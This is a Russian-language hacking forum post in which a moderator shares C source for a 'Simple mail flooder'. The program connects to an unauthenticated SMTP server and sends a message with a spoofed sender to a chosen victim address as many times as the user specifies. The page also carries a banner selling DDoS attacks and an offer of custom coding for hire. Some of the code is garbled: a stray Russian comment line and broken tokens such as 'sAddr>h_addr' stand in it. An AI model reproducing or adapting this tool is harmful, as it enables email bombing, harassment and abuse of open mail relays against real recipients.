Перейти к содержимому

 Друзья: Всё для вебмастера | [ Реклама на форуме ]


Rutor
Rutor


[ DDos Услуги. DDos атака. Заказать ДДос ]


Simple mail flooder


  • Авторизуйтесь для ответа в теме
В этой теме нет ответов

#1
x45x50

x45x50

    Бит

  • Moderator
  • 33 сообщений
Писалось достаточно давно поддерживает smtp сервер без авторизации,но переделать не проблема я так думаю.
Коментариев мало думаю итак понятно
#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#include <conio.h>
#pragma comment(lib,"ws2_32.lib")
int main(int argc,char* argv[])
{
 if(argc==5)
 {
			Обьявляем переменные.
 WSADATA wsData;
			struct hostent *sAddr;
 struct sockaddr_in Addr;
 SOCKET cSock;
 int rConnect,rSend,count;
 char msg[1024];
 int max;
		   
   //start
  if(WSAStartup(MAKEWORD(2,0),&wsData)==0)		  
						//инициализируем сокеты
  {
  sAddr=gethostbyname(argv[1]);
  if(sAddr!=NULL)
  {
		
Addr.sin_addr.s_addr=*((unsignedlong*)(sAddr>h_addr));
   Addr.sin_family=AF_INET;
   Addr.sin_port=htons(25);
   cSock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
   if(cSock!=INVALID_SOCKET)
   {
	rConnect=connect(cSock,(sockaddr*)&Addr,sizeof(Addr));
				   if(rConnect!=SOCKET_ERROR)
	{
//RFC SMTP 
 strcpy(msg,"HELO smtp.server.ru\r\n");
					   strcat(msg,"MAIL FROM:<");
					   strcat(msg,argv[2]);
					   strcat(msg,">");
					   strcat(msg,"\r\n"); 
					   strcat(msg,"RCPT TO:");
					   strcat(msg,"<");
					   strcat(msg,argv[3]);
					   strcat(msg,">");
					   strcat(msg,"\r\n");
					   strcat(msg,"DATA\r\n");
 strcat(msg,"SUBJECT:LOL\nFLOOD\n");
					   strcat(msg,"\r\n.\r\n");
	 max=atoi(argv[4]);
					   for(count=0;count<max;count++)
	 {
						 if(count==0)
	   {
		printf("Start Flood\nSMTP_SERVER:%s\nMAIL FROM:%s\nMAIL TO:%s\nNumberof letters:%d\n",argv[1],argv[2],argv[3],max);
	   }
	   rSend=send(cSock,msg,strlen(msg),0);
	   if(rSend>0)
	   {
	  printf("Message Number %d was sent\n",count+1);
	  Sleep(1000);
	   }
	   else
	   {
		printf("Error send message number %d\n",count);
		break;
		getch();
	   }
	 }
	 
	}
	else
	{
	 printf("Connect Error(ERROR CODE:%d)\n",WSAGetLastError());
	 getch();
	}
   }
   else
   {
	printf("Socket Error(ERROR CODE:%d)",WSAGetLastError());
	getch();
   }
  }
  else
  {
   printf("GetHostByNameError(ERROR CODE:%d)\n",WSAGetLastError());
   getch();
  }
  }
  else
  {
   printf("WSAStartUp Error(Error Code:%d)\n",WSAGetLastError);
   getch();
  }

 }
 else
 {
  printf("============USAGE===========\n");
  printf("[+]Simple email Flood3r by mark\n");
  printf("[+]Flooder.exe 1 2 3 4\n");
  printf("[+]1)SMTP server.\n");
  printf("[+]2)MAIL FROM:<>.\n");
  printf("[+]3)MAIL TO:<>.\n");
  printf("[+]4)Numbers of letters.\n");
  printf("[+]Example:Flooder.exe <smtp.server.com>			  <userfrom@mail.ru> <userto@mail.ru> 20.\n");
  printf("[+]It is only joke,GOODLUCK.\n");
  getch();
 }
}

Кодинг на заказ
PM only


Количество пользователей, читающих эту тему: 0

0 пользователей, 0 гостей, 0 анонимных